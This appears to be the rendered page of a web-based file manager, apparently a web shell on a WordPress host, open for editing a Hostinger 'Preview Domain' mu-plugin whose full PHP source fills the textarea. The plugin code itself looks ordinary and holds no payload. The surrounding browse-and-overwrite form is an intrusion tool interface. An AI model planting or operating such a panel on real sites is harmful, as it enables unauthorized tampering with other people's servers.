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<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Feci-projekt.management%2F'>eci-projekt.management</a>/<a href='?path=%2Fbig%2Fweb%2Feci-projekt.management%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Feci-projekt.management%2Fhtdocs%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fbig%2Fweb%2Feci-projekt.management%2Fhtdocs%2Fwp-content%2Fmu-plugins%2F'>mu-plugins</a>/</p><hr><h3>✏️ Editing: hostinger-preview-domain.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * Plugin Name:       Hostinger Preview Domain
 * Plugin URI:        https://www.hostinger.com
 * Description:       Enable access to the website through a temporary domain while the main domain is not yet configured.
 * Version:           1.3.4
 * Author:            Hostinger
 * Author URI:        https://www.hostinger.com
 * License:           GPL-2.0-or-later
 * License URI:       https://www.gnu.org/licenses/gpl-2.0.html
 * Text Domain:       hostinger-preview-domain
 * Domain Path:       /languages
 * Requires at least: 5.0
 * Requires PHP:      7.0
 * MU Plugin:         Yes
 */

if ( ! class_exists( &#039;Hostinger_Temporary_Domain_Handler&#039; ) ) {
    class Hostinger_Temporary_Domain_Handler {
        private $site_domain;
        private $current_domain;
        private $db_site_url;

        public function __construct() {
            $this-&gt;initialize_domains();
            $this-&gt;setup_hooks();
        }

        /**
         * Initialize the handler if the preview indicator is present.
         *
         * @return self|null Returns a new instance if preview indicator is found, otherwise null.
         */
        public static function init() {
            if ( function_exists( &#039;getallheaders&#039; ) ) {
                $headers = getallheaders();
                if ( isset( $headers[&#039;X-Preview-Indicator&#039;] ) &amp;&amp; $headers[&#039;X-Preview-Indicator&#039;] ) {
                    return new self();
                }
            }

            if ( isset( $_SERVER[&#039;HTTP_X_PREVIEW_INDICATOR&#039;] ) &amp;&amp; $_SERVER[&#039;HTTP_X_PREVIEW_INDICATOR&#039;] ) {
                return new self();
            }

            return null;
        }

        /**
         * Filter and rewrite the URL if necessary.
         *
         * @param string      $url     The original URL.
         * @param mixed       $path    Optional. Path relative to the URL.
         * @param string|null $scheme  Optional. Scheme to give the URL context.
         * @param int|null    $blog_id Optional. Blog ID.
         *
         * @return string The filtered URL.
         */
        public function filter_url( $url, $path = &#039;&#039;, $scheme = null, $blog_id = null ) {
            if ( ! filter_var( $url, FILTER_VALIDATE_URL ) ) {
                return $url;
            }

            $filtered_url = str_replace( [ &#039;http://&#039; . $this-&gt;site_domain, &#039;https://&#039; . $this-&gt;site_domain ], &#039;https://&#039; . $this-&gt;current_domain, $url );

            return filter_var( $filtered_url, FILTER_SANITIZE_URL ) ?: &#039;&#039;;
        }

        /**
         * Filter site icon URL to remove www prefix
         *
         * @param string $url The site icon URL
         * @return string The filtered URL
         */
        public function filter_site_icon_url( $url ) {
            if ( empty( $url ) ) {
                return $url;
            }

            $url = $this-&gt;filter_url( $url );

            $url = preg_replace( &#039;/https?:\/\/www\./i&#039;, &#039;https://&#039;, $url );

            return $url;
        }

        /**
         * Filter and rewrite the content if necessary.
         *
         * @param string $content The original content.
         *
         * @return string The filtered content.
         */
        public function filter_content( $content ) {
            $patterns = [
                // HTML attributes and content URLs
                &#039;/(href|src|action|srcset|data-img-url)\s*=\s*[\&#039;&quot;]https?:\/\/&#039; . preg_quote( $this-&gt;site_domain, &#039;/&#039; ) . &#039;[^\s\&#039;&quot;&lt;&gt;]*/i&#039;,
                // CSS imports and urls
                &#039;/(@import\s+[&quot;\&#039;]|url\([&quot;\&#039;]?)https?:\/\/&#039; . preg_quote( $this-&gt;site_domain, &#039;/&#039; ) . &#039;[^\s\&#039;&quot;&lt;&gt;)]*/i&#039;,
            ];

            foreach ( $patterns as $pattern ) {
                $content = preg_replace_callback( $pattern, function ( $matches ) {
                    $url = substr( $matches[0], strpos( $matches[0], &#039;http&#039; ) );

                    return str_replace( $url, $this-&gt;filter_url( $url ), $matches[0] );
                }, $content );
            }

            return $content ?: &#039;&#039;;
        }

        /**
         * Handle CORS headers.
         *
         * @return void
         */
        public function handle_cors() {
            $allowed_origin = &#039;https://&#039; . filter_var( $this-&gt;current_domain, FILTER_SANITIZE_URL );

            if ( isset( $_SERVER[&#039;HTTP_ORIGIN&#039;] ) &amp;&amp; $_SERVER[&#039;HTTP_ORIGIN&#039;] === $allowed_origin ) {
                header( &#039;Access-Control-Allow-Origin: &#039; . $allowed_origin );
                header( &#039;Access-Control-Allow-Methods: GET, POST, OPTIONS&#039; );
                header( &#039;Access-Control-Allow-Credentials: true&#039; );
                header( &#039;Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept&#039; );
                header( &#039;Access-Control-Max-Age: 86400&#039; );

                if ( $_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;OPTIONS&#039; ) {
                    header( &#039;HTTP/1.1 204 No Content&#039; );
                    exit();
                }
            }
        }

        /**
         * Start output buffering if URL rewriting is needed.
         *
         * @return void
         */
        public function start_output_buffer() {
            ob_start( [ $this, &#039;filter_content&#039; ] );
        }

        /**
         * Initialize site and current domains.
         *
         * @return void
         */
        private function initialize_domains() {
            $this-&gt;site_domain = $this-&gt;sanitize_domain( parse_url( get_site_url(), PHP_URL_HOST ) ?: &#039;&#039; );
            $this-&gt;current_domain = $this-&gt;sanitize_domain( isset($_SERVER[&#039;HTTP_HOST&#039;]) ? $_SERVER[&#039;HTTP_HOST&#039;] : &#039;&#039; );
            $this-&gt;db_site_url = $this-&gt;get_site_url_from_db();
        }

        /**
         * Get site URL from database directly without WordPress functions
         *
         * @return string The site URL without http:// or https://
         */
        private function get_site_url_from_db() {
            global $wpdb;

            $site_url = $wpdb-&gt;get_var(
                $wpdb-&gt;prepare(
                    &quot;SELECT REPLACE(REPLACE(option_value, &#039;https://&#039;, &#039;&#039;), &#039;http://&#039;, &#039;&#039;) 
                    FROM {$wpdb-&gt;options} 
                    WHERE option_name = %s 
                    LIMIT 1&quot;,
                    &#039;siteurl&#039;
                )
            );

            return $this-&gt;sanitize_domain($site_url ?: &#039;&#039;);
        }

        /**
         * Setup hooks for URL and content filtering.
         *
         * @return void
         */
        private function setup_hooks() {
            if ( $this-&gt;should_skip_hooks() ) {
                return;
            }

            // Basic URL filters
            add_filter( &#039;home_url&#039;, [ $this, &#039;filter_url&#039; ], 10, 4 );
            add_filter( &#039;site_url&#039;, [ $this, &#039;filter_url&#039; ], 10, 4 );
            add_filter( &#039;wp_redirect&#039;, [ $this, &#039;filter_url&#039; ], 10 );

            // Site icon URL filter
            add_filter( &#039;get_site_icon_url&#039;, [ $this, &#039;filter_site_icon_url&#039; ], 10, 1 );

            // Content filters
            $content_filters = [ &#039;the_content&#039;, &#039;widget_text&#039;, &#039;wp_nav_menu_items&#039; ];
            foreach ( $content_filters as $filter ) {
                add_filter( $filter, [ $this, &#039;filter_content&#039; ], 999 );
            }

            // Media handling
            add_filter( &#039;wp_get_attachment_url&#039;, [ $this, &#039;filter_url&#039; ] );

            // Admin filters
            if ( is_admin() ) {
                $this-&gt;setup_admin_filters();
            }

            // Output buffering and CORS
            add_action( &#039;init&#039;, [ $this, &#039;start_output_buffer&#039; ], 0 );
            add_action( &#039;init&#039;, [ $this, &#039;handle_cors&#039; ], 0 );

            // Content save hooks to replace domain in content
            add_filter( &#039;wp_insert_post_data&#039;, [ $this, &#039;replace_host_in_content&#039; ], 10, 2 );
            add_filter( &#039;content_save_pre&#039;, [ $this, &#039;replace_host_in_content_simple&#039; ], 10, 1 );
            add_filter( &#039;pre_update_option&#039;, [ $this, &#039;replace_host_in_option&#039; ], 10, 3 );
        }

        /**
         * Setup filters for admin URLs.
         *
         * @return void
         */
        private function setup_admin_filters() {
            $admin_filters = [
                &#039;admin_url&#039;,
                &#039;plugins_url&#039;,
                &#039;theme_file_uri&#039;,
                &#039;includes_url&#039;,
                &#039;content_url&#039;,
                &#039;style_loader_src&#039;,
                &#039;script_loader_src&#039;,
                &#039;preview_post_link&#039;,
            ];

            foreach ( $admin_filters as $filter ) {
                add_filter( $filter, [ $this, &#039;filter_url&#039; ], 10, 3 );
            }
        }

        /**
         * Sanitize a domain name.
         *
         * @param string $domain The domain name to sanitize.
         *
         * @return string The sanitized domain name.
         */
        private function sanitize_domain( $domain ) {
            return preg_replace( &#039;/[^a-z0-9\-\.]/&#039;, &#039;&#039;, strtolower( trim( $domain ) ) );
        }

        /**
         * Check if we should skip applying hooks for this request.
         *
         * @return bool True if hooks should be skipped
         */
        private function should_skip_hooks() {
            if ( php_sapi_name() === &#039;cli&#039; ) {
                if ( $this-&gt;is_litespeed_command() ) {
                    return true;
                }
            }

            if ( ! $this-&gt;should_rewrite_url() ) {
                return true;
            }

            $script_name = isset( $_SERVER[&#039;SCRIPT_FILENAME&#039;] ) ? basename( $_SERVER[&#039;SCRIPT_FILENAME&#039;] ) : &#039;&#039;;
            if ( strpos( $script_name, &#039;autologin&#039; ) !== false || isset( $_GET[&#039;platform&#039;] ) ) {
                return true;
            }

            return false;
        }

        /**
         * Simple check if current command contains LiteSpeed references
         *
         * @return bool True if litespeed command detected
         */
        private function is_litespeed_command() {
            global $argv;

            if ( ! empty( $argv ) ) {
                $command = implode( &#039; &#039;, $argv );
                if ( stripos( $command, &#039;litespeed&#039; ) !== false || stripos( $command, &#039;lscache&#039; ) !== false ) {
                    return true;
                }
            }

            return false;
        }

        /**
         * Determine if the URL should be rewritten.
         *
         * @return bool True if the URL should be rewritten, false otherwise.
         */
        private function should_rewrite_url() {
            return $this-&gt;current_domain !== $this-&gt;site_domain;
        }

        /**
         * Replace current host with site URL in post content during save
         *
         * @param array $data    Post data array
         * @param array $postarr Original post array
         *
         * @return array Modified post data
         */
        public function replace_host_in_content( $data, $postarr ) {
            // Only proceed if current host and DB site URL are different
            if ( $this-&gt;current_domain &amp;&amp; $this-&gt;db_site_url &amp;&amp; $this-&gt;current_domain !== $this-&gt;db_site_url ) {
                if ( isset( $data[&#039;post_content&#039;] ) ) {
                    $data[&#039;post_content&#039;] = str_replace( $this-&gt;current_domain, $this-&gt;db_site_url, $data[&#039;post_content&#039;] );
                }

                if ( isset( $data[&#039;post_title&#039;] ) ) {
                    $data[&#039;post_title&#039;] = str_replace( $this-&gt;current_domain, $this-&gt;db_site_url, $data[&#039;post_title&#039;] );
                }

                if ( isset( $data[&#039;post_excerpt&#039;] ) ) {
                    $data[&#039;post_excerpt&#039;] = str_replace( $this-&gt;current_domain, $this-&gt;db_site_url, $data[&#039;post_excerpt&#039;] );
                }
            }

            return $data;
        }

        /**
         * Replace current host with site URL in regular content during save
         *
         * @param string $content The content being saved
         *
         * @return string Modified content
         */
        public function replace_host_in_content_simple( $content ) {
            // Only proceed if current host and DB site URL are different
            if ( $this-&gt;current_domain &amp;&amp; $this-&gt;db_site_url &amp;&amp; $this-&gt;current_domain !== $this-&gt;db_site_url ) {
                $content = str_replace( $this-&gt;current_domain, $this-&gt;db_site_url, $content );
            }

            return $content;
        }

        /**
         * Replace current host with site URL in options
         *
         * @param mixed  $value     The new option value
         * @param string $option    Option name
         * @param mixed  $old_value The old option value
         *
         * @return mixed Modified option value
         */
        public function replace_host_in_option( $value, $option, $old_value ) {
            // Skip if it&#039;s the siteurl or home option to avoid conflicts
            if ( in_array( $option, array( &#039;siteurl&#039;, &#039;home&#039; ) ) ) {
                return $value;
            }

            // Only proceed if current host and DB site URL are different
            if ( $this-&gt;current_domain &amp;&amp; $this-&gt;db_site_url &amp;&amp; $this-&gt;current_domain !== $this-&gt;db_site_url ) {
                if ( is_string( $value ) ) {
                    $value = str_replace( $this-&gt;current_domain, $this-&gt;db_site_url, $value );
                } elseif ( is_array( $value ) ) {
                    $value = $this-&gt;replace_in_array_recursive( $value, $this-&gt;current_domain, $this-&gt;db_site_url );
                }
            }

            return $value;
        }

        /**
         * Recursively replace values in arrays
         *
         * @param array  $array   The array to process
         * @param string $search  The search string
         * @param string $replace The replacement string
         *
         * @return array The processed array
         */
        private function replace_in_array_recursive( $array, $search, $replace ) {
            $result = array();

            foreach ( $array as $key =&gt; $value ) {
                if ( is_array( $value ) ) {
                    $result[$key] = $this-&gt;replace_in_array_recursive( $value, $search, $replace );
                } elseif ( is_string( $value ) ) {
                    $result[$key] = str_replace( $search, $replace, $value );
                } else {
                    $result[$key] = $value;
                }
            }

            return $result;
        }
    }

    Hostinger_Temporary_Domain_Handler::init();
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
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